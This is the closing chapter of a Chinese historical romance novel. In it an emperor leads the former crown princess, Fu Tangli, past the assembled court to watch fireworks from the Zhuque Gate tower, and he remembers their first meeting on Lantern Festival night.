此间庶民回避,文武百官锦袍玉带,服色隆重,早已恭候多时,金吾卫肃穆地立于丹墀前,甲胄森冷,长戟如林,重盾上的虎头在火光中映照出狰狞的神态。 金吾卫大将军孙澄见赵上钧至,率金吾卫上前拜下:“陛下,各处皆已安排停当,即刻可燃焰火,恭请陛下登楼观赏,与万民同乐。” 国泰民安,当大贺。 百官跪拜,齐声禀奏:“恭请陛下登楼观赏,与万民同乐。” 重檐歇山顶上的夜鸟被惊起,扑簌簌地飞入夜幕,划过水墨般的痕迹。 傅棠梨后退了一步,想要避开。 但赵上钧拉住了她的袖子,不让她退。 “大庭广众的,又是正经日子,若叫那些大人们看见了,未必好。”她有些脸红,小声地商量,“不若缓缓,再过些时日……” 方才在芙蓉园中,算是藉由各家女郎的口,先给旁人打了个底,但此时满朝百官皆在列,个个正襟肃容,未免过于庄重,又把她的逃避之情勾了起来。 “梨花,把我的位置往前面挪一挪好吗?”赵上钧的神情刚毅,但他的声音却是那么温柔,“我也很重要,对不对?” 孙澄低着头,当作他瞎。左右金吾卫满脸严肃,看不出一点表情。 稍远处,百官们恭敬地等候着。 傅棠梨羞涩地犹豫了一下。 赵上钧沉稳地道:“如果有什么流言蜚语、刁难责备,我会替你挡在前面,我曾经说过,要堂堂正正娶你为妻,无论什么样的代价,我都付得起,无论什么样的阻碍,我都踏得平,你还记不记得?” 那是他在庭州时对她说过的话,历经了那么多的艰难和波折,如今想来,恍如隔世。 傅棠梨望着他的眼睛,微微地叹息:“嗯,我记得。” “我费了很大力气,做了很多事,我想要的是什么?你知道的,我想要的,就是和你光明正大地站在一处。”年轻的男人,他已经是君临天下的帝王,成熟而稳重,在巍峨的朱雀门前,他朝她伸出了手,“我们已经等了很久了,足够了,所以,梨花,来、过来。” 傅棠梨抬起手,慢慢地、慢慢地放到他的掌心中。 他的掌心炙热,如同过往的无数个日日夜夜,只要碰触到她,就仿佛有火焰燃烧。 赵上钧握住傅棠梨的手,和她肩并肩,从那一大片黑压压的文武百官、金吾卫兵以及宫人内侍的面前走过,一起走向朱雀城楼。 他是至高无上的帝王,君临于天下,本不应有人并肩,但此刻,他步伐沉稳,气度威严,仿佛自然应是如此,他要与她携手,一同登上高处。 灯火辉煌,大臣们看清了皇帝身边的人,皆露出了惊骇的神情,其中不乏古板的老学究,脸皮子一抽,就想出声,但此际四下肃静,唯有火把燃烧时发出的噼啪声响,叫人心悸,他心里打了一个突,看了看周围,各位大臣面色各异,互相对视片刻,忍了又忍,终究还是把头低下了。 帝素威烈,能令千军辟易,又有谁敢以血肉之躯撄其锋芒呢? 旧太子被贬为幽王,早已身故,旧太子妃出家为女冠,与其前夫算是脱了干系,如今她站在皇帝的身边,那么,又有何不可呢?迂腐的大臣勉强用这个理由说服了自己,人皆畏死,当下无言。 赵上钧和傅棠梨登上朱雀城楼,风有些大,他把她身上披的那件黑貂大氅又拢了拢,顺势揽住她的肩膀,抬手指了指下方。 “看。” 孙澄在下面做了一个手势。 倏然,“轰”的一声,流火飞天。 一道赤焰,如天神拔长剑,斩破天幕,白光耀眼,令星河失色,霎那间,星子散开,化作金雨漫天,倾泻而下。 旋即,千树万树银花齐齐盛开,冲上九重天,流光飞舞,赤金如霞、雪银如练,天河倒悬,月池倾泻,瑶池打翻了琼浆宴,撒下人间无数繁花。花未谢,俄而,火光再绽,百鸟振翅,旋于云霄,与金凤狂舞,长羽溢彩,五光十色,令人惊叹。 赵上钧摸了摸傅棠梨的头,柔声道:“我曾经想在元宵夜的时候,带你去看焰火,偏偏遇到乱子,没看成,后来在江上补了一场,我见你当时心绪不佳,想来也顾不上观赏,难得今年太平下来,就把这个缺补上,你看看,可还喜欢?” “喜欢。”傅棠梨想起了当年那些事,情不自禁咬了咬嘴唇,露出了柔软的笑意。 站在高处,举目远眺,烟花锦绣,长安繁华,十万户灯火,皆在脚下,风从远处而来,云天高阔,明月清朗,一览无余。 群臣下拜,山呼万岁,与焰火同喧。 他低下头,专注地望着她,目光温柔,他眼眸的颜色有点儿浅,映着未烬的焰火,赤金流转,宛如琥珀一般,从亘古至今,隽永而清晰。 “你知道吗,那一年元宵夜,在街头偶遇,我看见你的时候,就在心里想着,这么多人,怎么就偏偏遇到她了,这么巧。” 【全文完】 —————